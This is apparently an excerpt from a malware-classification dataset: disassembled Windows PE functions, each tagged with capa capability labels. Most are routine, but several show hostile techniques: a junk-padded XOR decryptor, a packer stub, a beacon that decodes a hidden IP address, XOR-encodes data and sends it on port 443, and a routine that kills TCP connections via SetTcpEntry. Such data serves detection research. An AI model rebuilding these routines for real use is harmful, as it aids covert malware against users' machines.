joyce8/EMBER2024-capa huggingface dataset:
Function at 0x58b890
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x58b8bb
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x58b8df
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x58b8fa
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20

Function at 0x590bce
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x590c06
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0058fb86
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0058fb5e
jmp 0x590c12
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x5924a6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x5924e8
call fcn.0059f9bd
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x5924e8
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x5924df
xor eax, eax
jmp 0x5924f0
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.005924f6
pop edi
pop esi
pop ebx
ret 4

Function at 0x594692
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x5946b4
cmp dword [edi + 0x3c], 0
jne 0x5946b4
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.0059f9bd
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.005946e1
pop edi
pop esi
pop ebx
ret 8
Function at 0x594a21
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x5b5290
call fcn.00576dcc
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.0059f9bd
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x594a60
call fcn.0059f9bd
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x594a6e
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x594a7c
or eax, 0xffffffff
jmp 0x594b64
mov ecx, esi
call fcn.00594997
mov dword [ebp - 0x14], eax
call fcn.005906d7
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x594ab3
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x594ab3
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.0059068b
push dword [ebp - 0x14]
call fcn.005901d8
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.0059472f
cmp eax, edi
je 0x594b26
test byte [esi + 0x24], 0x10
je 0x594af4
push 4
mov ecx, esi
pop ebx
call fcn.00592cc5
test ah, 1
je 0x594aec
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.005925f8
cmp dword [esi + 0x1c], edi
je 0x594b26
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.00592e28
jmp 0x594b26
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x594b3a
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x594b53
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x594b53
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.005949d1
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x595297
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push edi
push dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x5952c7
push edi
call ebx
push eax
call fcn.005935d0
push esi
mov esi, dword [ebp + 0xc]
movzx eax, byte [esi + 0x10]
cmp eax, dword [ebp - 4]
je 0x5952f1
test byte [ebp - 4], 1
je 0x5952f1
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x5952f1
push edi
call ebx
push eax
call fcn.005935d0
cmp dword [esi + 4], edi
lea eax, [esi + 4]
je 0x595397
lea ecx, [ebp - 0x24]
push ecx
push eax
call fcn.005951e4
cmp dword [esi + 8], edi
lea eax, [esi + 8]
pop ecx
pop ecx
je 0x595323
lea ecx, [ebp - 0x14]
push ecx
push eax
call fcn.005951e4
pop ecx
lea eax, [ebp - 0x14]
pop ecx
mov dword [ebp - 8], eax
cmp dword [esi], edi
je 0x595339
lea eax, [ebp - 0x1c]
push eax
push esi
call fcn.005951e4
pop ecx
lea eax, [ebp - 0x1c]
pop ecx
mov dword [ebp - 0xc], eax
push edi
push 0x80
push 3
push edi
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x595363
push 0
call ebx
push eax
call fcn.005935d0
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x595381
push eax
call ebx
push eax
call fcn.005935d0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x595395
push eax
call ebx
push eax
call fcn.005935d0
xor edi, edi
movzx eax, byte [esi + 0x10]
cmp eax, dword [ebp - 4]
pop esi
je 0x5953be
test byte [ebp - 4], 1
jne 0x5953be
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x5953be
push edi
call ebx
push eax
call fcn.005935d0
pop edi
pop ebx
leave
ret 8
Function at 0x59e401
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x5b5443
call fcn.00576dcc
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.00596368
mov eax, dword [0x628100]
lea ebx, [esi + 0x24]
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ebx], eax
mov eax, dword [ebp + 0x10]
mov dword [esi], vtable.CInternetFile.0
mov ecx, 0x666680
mov byte [ebp - 4], 1
push dword [eax + 0xc]
push dword [ebp + 8]
call fcn.0059e285
push dword [ebp + 0xc]
lea ecx, [esi + 0xc]
call fcn.0058f868
mov ecx, dword [ebp + 0x10]
mov eax, dword [ecx + 8]
mov dword [esi + 0x1c], eax
lea eax, [ebp + 0x10]
push eax
call fcn.0056c177
push eax
mov ecx, ebx
mov byte [ebp - 4], 2
call fcn.0058f818
lea ecx, [ebp + 0x10]
mov byte [ebp - 4], 1
call fcn.0058f6df
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x18], eax
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x10

Function at 0x5a023c
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x5a026a
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x5a0288
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.005a01a2
jmp 0x5a0288
mov eax, dword [esi + 0x14]
test eax, eax
je 0x5a0288
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.005a01a2
test edi, edi
mov eax, edi
jne 0x5a0272
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401154
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegDisablePredefinedCacheEx]
xor esi, esi
call edi
sub byte [esi + 0x4228d0], 0x77
call edi
add byte [esi + 0x4228d0], 0x37
call edi
xor byte [esi + 0x4228d0], 0x53
call edi
add byte [esi + 0x4228d0], 0x5a
call edi
add byte [esi + 0x4228d0], 9
call edi
add byte [esi + 0x4228d0], 0x88
call edi
add byte [esi + 0x4228d0], 0xfc
call edi
xor byte [esi + 0x4228d0], 0x29
call edi
add byte [esi + 0x4228d0], 0x32
call edi
add byte [esi + 0x4228d0], 0x58
call edi
xor byte [esi + 0x4228d0], 0x5f
call edi
add byte [esi + 0x4228d0], 0xd8
call edi
add byte [esi + 0x4228d0], 0xa2
call edi
add byte [esi + 0x4228d0], 0xa2
call edi
add byte [esi + 0x4228d0], 0x7c
call edi
add byte [esi + 0x4228d0], 0x8d
call edi
xor byte [esi + 0x4228d0], 0x9c
call edi
add byte [esi + 0x4228d0], 0xdf
call edi
add byte [esi + 0x4228d0], 0xcd
call edi
add byte [esi + 0x4228d0], 0xe
call edi
add byte [esi + 0x4228d0], 4
call edi
add byte [esi + 0x4228d0], 0x4f
call edi
add byte [esi + 0x4228d0], 7
call edi
add byte [esi + 0x4228d0], 0xf2
call edi
add byte [esi + 0x4228d0], 4
call edi
xor byte [esi + 0x4228d0], 0x1f
call edi
add byte [esi + 0x4228d0], 0xd0
call edi
add byte [esi + 0x4228d0], 0xc5
call edi
add byte [esi + 0x4228d0], 0x44
call edi
add byte [esi + 0x4228d0], 0x62
call edi
add byte [esi + 0x4228d0], 0x98
call edi
xor byte [esi + 0x4228d0], 0x1a
call edi
xor byte [esi + 0x4228d0], 0x29
call edi
xor byte [esi + 0x4228d0], 0x32
call edi
add byte [esi + 0x4228d0], 0x54
call edi
add byte [esi + 0x4228d0], 0x6e
call edi
xor byte [esi + 0x4228d0], 0xeb
call edi
add byte [esi + 0x4228d0], 0xfe
call edi
add byte [esi + 0x4228d0], 0x50
call edi
xor byte [esi + 0x4228d0], 0x9c
call edi
add byte [esi + 0x4228d0], 0xe8
call edi
xor byte [esi + 0x4228d0], 0xc9
call edi
add byte [esi + 0x4228d0], 0x15
call edi
xor byte [esi + 0x4228d0], 0x37
call edi
add byte [esi + 0x4228d0], 0xcf
call edi
xor byte [esi + 0x4228d0], 0x5a
call edi
add byte [esi + 0x4228d0], 0xd1
call edi
add byte [esi + 0x4228d0], 0x79
call edi
add byte [esi + 0x4228d0], 0x67
inc esi
cmp esi, 0x2b800
jb 0x40115e
pop edi
pop esi
ret
Function at 0x418a50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x418a7d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x418a7d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x209001a2
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data_1
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0xadb0004
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x10001440
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push edi
mov ecx, 0x63
xor eax, eax
lea edi, [esp + 6]
mov word [esp + 4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 4]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
pop edi
je 0x1000147c
or eax, 0xffffffff
add esp, 0x190
ret
cmp byte [esp], 1
jne 0x10001497
xor ecx, ecx
mov cl, byte [esp + 1]
cmp cl, 1
jne 0x10001497
xor eax, eax
add esp, 0x190
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 0xfffffffe
add esp, 0x190
ret

Function at 0x100014b0
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x100014d8
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x100014d1
or eax, 0xffffffff
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret

Function at 0x100014e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
xor eax, eax
push esi
mov dword [esp + 6], eax
push 6
mov dword [esp + 0xe], eax
push 1
mov dword [esp + 0x16], eax
push 2
mov word [esp + 0x10], 0
mov word [esp + 0x1e], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10001518
xor eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x18]
mov dx, word [esp + 0x1c]
lea eax, [esp + 4]
push 0x10
push eax
push esi
mov word [esp + 0x10], 2
mov dword [esp + 0x14], ecx
mov word [esp + 0x12], dx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10001552
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x10001560
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
push 0
mov word [esp + 8], 1
mov word [esp + 0xa], 0
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov esi, dword [esp + 0xc]
lea eax, [esp + 4]
push 4
push eax
push 0x80
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop esi
pop ecx
ret

Function at 0x100015a0
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
sub esp, 0x104
push esi
push edi
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0xc]
push eax
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x114]
push eax
lea eax, [esp + 0x10]
mov dword [esp + 0x14], edi
push eax
push 0
push 0
mov dword [esp + 0x1c], 1
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
jne 0x100015e9
pop edi
or eax, eax
pop esi
add esp, 0x104
ret
mov esi, dword [esp + 0x118]
mov ecx, dword [esp + 0x114]
and esi, 0xffff
push 0
push esi
push ecx
push edi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
mov eax, 0xfffffffe
je 0x10001614
mov eax, esi
pop edi
pop esi
add esp, 0x104
ret
Function at 0x10001620
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
sub esp, 0x10c
mov ecx, dword [esp + 0x11c]
mov eax, 0x10624dd3
mul ecx
shr edx, 6
push esi
mov dword [esp + 4], edx
mov eax, ecx
xor edx, edx
mov esi, 0x3e8
push edi
div esi
mov esi, dword [esp + 0x118]
lea edi, [esp + 0x14]
lea eax, [edx + edx*4]
lea edx, [esp + 8]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
neg ecx
sbb ecx, ecx
mov dword [esp + 0xc], eax
and ecx, edx
xor eax, eax
mov edx, ecx
mov ecx, 0x40
push edx
push eax
rep stosd dword es:[edi], eax
push eax
lea eax, [esp + 0x1c]
push eax
push 0
mov dword [esp + 0x28], esi
mov dword [esp + 0x24], 1
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
jne 0x100016a4
pop edi
or eax, eax
pop esi
add esp, 0x10c
ret
test eax, eax
je 0x100016e7
lea ecx, [esp + 0x10]
push ecx
push esi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x100016e7
mov edx, dword [esp + 0x120]
mov eax, dword [esp + 0x11c]
push 0
push edx
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x100016d9
cmp eax, 0xffffffff
jne 0x100016e9
pop edi
mov eax, 0xfffffffe
pop esi
add esp, 0x10c
ret
xor eax, eax
pop edi
pop esi
add esp, 0x10c
ret
Function at 0x10001960
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x424
mov al, 0x2e
mov cl, 0x32
push ebp
push edi
mov byte [esp + 0x1f], al
mov byte [esp + 0x20], cl
mov byte [esp + 0x23], al
mov byte [esp + 0x24], cl
mov byte [esp + 0x27], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x2d]
mov byte [esp + 0x2c], 0
mov dl, 0x33
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov byte [esp + 0x1e], dl
mov byte [esp + 0x25], dl
stosb byte es:[edi], al
mov al, 0x24
mov dl, 0xc6
mov cl, 0x44
push 0x1bb
mov byte [esp + 0x20], 0x31
mov byte [esp + 0x21], 0x37
mov byte [esp + 0x25], 0x30
mov byte [esp + 0x26], 0x38
mov byte [esp + 0x2a], 0x34
mov byte [esp + 0x2c], 0x31
mov byte [esp + 0x2d], 0x39
mov byte [esp + 0x2e], 0x36
mov byte [esp + 0x2f], 0
mov byte [esp + 0xc], 0x76
mov byte [esp + 0xd], 6
mov byte [esp + 0xe], 0x88
mov byte [esp + 0xf], 0x54
mov byte [esp + 0x10], al
mov byte [esp + 0x11], 0x77
mov byte [esp + 0x12], dl
mov byte [esp + 0x13], cl
mov byte [esp + 0x14], al
mov byte [esp + 0x15], 0x78
mov byte [esp + 0x16], 0x3b
mov byte [esp + 0x17], dl
mov byte [esp + 0x18], cl
mov byte [esp + 0x19], al
mov byte [esp + 0x1a], 0x79
mov byte [esp + 0x1b], 0x91
call dword [sym.imp.WS2_32.dll_htons]
push eax
lea eax, [esp + 0x20]
push eax
call fcn.100014b0
add esp, 4
push eax
call fcn.100014e0
mov ebp, eax
add esp, 8
test ebp, ebp
jne 0x10001a4f
pop edi
or eax, 0xffffffff
pop ebp
add esp, 0x424
ret
test ebp, ebp
push esi
jbe 0x10001a5e
mov esi, ebp
call fcn.1000294c
dec esi
jne 0x10001a56
xor esi, esi
call fcn.1000294c
and eax, 0x800000ff
jns 0x10001a73
dec eax
or eax, 0xffffff00
inc eax
mov byte [esp + esi + 0x30], al
inc esi
cmp esi, 0x80
jb 0x10001a60
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x434]
mov dword [esp + 0x50], ecx
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], ecx
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x54], edx
lea edx, [esp + 0x60]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov cl, byte [esp + eax + 0x2c]
mov dl, byte [esp + eax + 0x5c]
xor dl, cl
mov byte [esp + eax + 0x5c], dl
inc eax
cmp eax, 0x40
jb 0x10001acb
lea edx, [esp + 0x2c]
push 0x80
push edx
push ebp
call fcn.100015a0
push 0x1f40
lea eax, [esp + 0x3c]
push 0x200
push eax
push ebp
call fcn.10001620
push ebp
call fcn.10001560
add esp, 0x20
xor eax, eax
pop edi
pop ebp
add esp, 0x424
ret
Function at 0x10001ef0
Capabilities:
Contain obfuscated stackstrings
Set tcp connection state

Disassembly:
mov eax, 0x1003c
call fcn.10002910
push esi
push edi
mov ecx, 0x3fff
xor eax, eax
lea edi, [esp + 0x45]
mov byte [esp + 0x44], 0
rep stosd dword es:[edi], eax
mov esi, dword [esp + 0x1004c]
mov dword [esp + 0x40], 0xffff
stosw word es:[edi], ax
test esi, esi
stosb byte es:[edi], al
je 0x100020ca
lea eax, [esp + 0x40]
push 1
lea ecx, [esp + 0x48]
push eax
push ecx
call sub.iphlpapi.dll_GetTcpTable
test eax, eax
je 0x10001f9e
mov byte [esp + 8], 0x74
mov byte [esp + 9], 0x61
mov byte [esp + 0xa], 0x62
mov byte [esp + 0xb], 0x6c
mov byte [esp + 0xc], 0x65
mov byte [esp + 0xd], 0x20
mov byte [esp + 0xe], 0x3d
mov byte [esp + 0xf], 0x20
mov byte [esp + 0x10], 0x25
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x12], 0xd
mov byte [esp + 0x13], 0xa
mov byte [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea edx, [esp + 8]
push eax
push edx
call section..text
add esp, 8
or eax, 0xffffffff
pop edi
pop esi
add esp, 0x1003c
ret
mov eax, dword [esp + 0x44]
test eax, eax
jbe 0x100020ca
push ebx
push ebp
lea ebp, [esp + 0x50]
mov dword [esp + 0x44], eax
mov bl, 0x58
mov ecx, dword [ebp]
xor eax, eax
cmp ecx, 5
mov byte [esp + 0x24], 0x65
mov byte [esp + 0x25], 0x6e
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x72
mov byte [esp + 0x28], 0x79
mov byte [esp + 0x29], 0x20
mov byte [esp + 0x2a], 0x3d
mov byte [esp + 0x2b], 0x20
mov byte [esp + 0x2c], 0x25
mov byte [esp + 0x2d], 0x30
mov byte [esp + 0x2e], 0x38
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], 0x3a
mov byte [esp + 0x31], 0x25
mov byte [esp + 0x32], 0x30
mov byte [esp + 0x33], 0x34
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x20
mov byte [esp + 0x36], 0x25
mov byte [esp + 0x37], 0x30
mov byte [esp + 0x38], 0x38
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0x3a
mov byte [esp + 0x3b], 0x25
mov byte [esp + 0x3c], 0x30
mov byte [esp + 0x3d], 0x34
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], 0xd
mov byte [esp + 0x40], 0xa
mov byte [esp + 0x41], al
jne 0x100020b6
test esi, esi
jbe 0x1000206b
mov edx, dword [ebp + 0xc]
mov ecx, dword [esp + 0x10050]
cmp edx, dword [ecx]
je 0x1000206b
inc eax
add ecx, 4
cmp eax, esi
jb 0x1000205f
cmp eax, esi
je 0x100020b6
mov ecx, 5
mov esi, ebp
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push eax
mov eax, dword [esp + 0x18]
push ecx
push edx
lea ecx, [esp + 0x30]
push eax
push ecx
mov dword [esp + 0x24], 0xc
call section..text
add esp, 0x14
lea edx, [esp + 0x10]
push edx
call sub.iphlpapi.dll_SetTcpEntry
mov esi, dword [esp + 0x10054]
mov eax, dword [esp + 0x44]
add ebp, 0x14
dec eax
mov dword [esp + 0x44], eax
jne 0x10001fb6
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x1003c
ret